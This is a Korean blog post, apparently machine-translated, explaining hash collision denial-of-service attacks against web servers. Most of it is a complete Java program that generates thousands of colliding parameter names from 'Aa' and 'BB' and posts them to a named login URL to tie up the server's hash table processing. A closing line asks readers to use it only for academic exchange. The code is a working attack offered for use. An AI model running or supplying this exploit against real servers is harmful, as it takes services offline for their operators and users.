Hash Collision Dos 코드
3983 단어 WebdosSecurityhashcolllision
원리는 간단하다. 기존 언어 서버의hashcode를 이용하여 결함을 실현하고 대량의hashcode와 같은 문자열을 구성하여post의 매개 변수를 만들어 서버가hashmap을 만들고 조회하느라 바쁘게 하고 서버에서 서비스를 거부한다.상세한 묘사는 위의 그 문장을 볼 수 있다.
나는 공격의 예 코드를 써 보았다.
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
public class HashCollisionDosAttack {
private final String[] srcs= {"Aa", "BB"};
private List<String> getStrings(int n) {
List<String> strlist = new ArrayList<String>();
int round = (int) Math.pow(2, n);
for (int i = 0; i < round; ++i) {
strlist.add(getString(i, n));
}
return strlist;
}
private String getString(int index, int n) {
String str = "";
int[] bytes = getBytesOf(index, n);
for (int i = 0; i < bytes.length; ++i) {
str += srcs[bytes[i]];
}
return str;
}
private int[] getBytesOf(int index, int n) {
int[] bytes = new int[n];
for (int i = 0; i < n; ++i) {
bytes[n - i - 1] = 1 & (index >> i);
}
return bytes;
}
private void post(URL url, String params) {
Socket socket = null;
BufferedWriter bw = null;
BufferedReader br= null;
try {
socket = new Socket(url.getHost(), url.getPort());
bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
bw.write("POST " + url.getPath() + " HTTP/1.1\r
");
bw.write("Host: " + url.getHost() + "\r
");
bw.write("Content-Type: application/x-www-form-urlencoded\r
");
bw.write("Content-Length: " + params.length() + "\r
");
bw.write("Connection: Keep-Alive\r
");
bw.write("\r
");
bw.write(params);
bw.flush();
// br = new BufferedReader(new InputStreamReader(socket.getInputStream(),"UTF-8"));
// String line;
// while ((line = br.readLine()) != null) {
// System.out.println(line);
// }
// System.out.println(params);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != socket) {
try {
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != bw) {
try {
bw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
public void attack(String urlStr, int n) throws MalformedURLException {
String params = "";
for (int i = 1; i <= n; ++i) {
params += buildParams(getStrings(i));
}
URL url = new URL(urlStr);
post(url, params);
}
private String buildParams(List<String> strings) {
String params = "";
for (String str : strings) {
params += str + "=x&";
params.hashCode();
}
return params;
}
public static void main(String[] args) throws MalformedURLException {
HashCollisionDosAttack attack = new HashCollisionDosAttack();
attack.attack("http://frigile.com/login/login.htm", 15);
}
}
학술 교류만 할 뿐 불법 목적에 쓰지 마십시오.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Fortinet FortiWeb Web Application Firewall Policy BypassFrom: Geffrey Velasquez Date: Wed, 2 May 2012 20:33:23 -0500...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.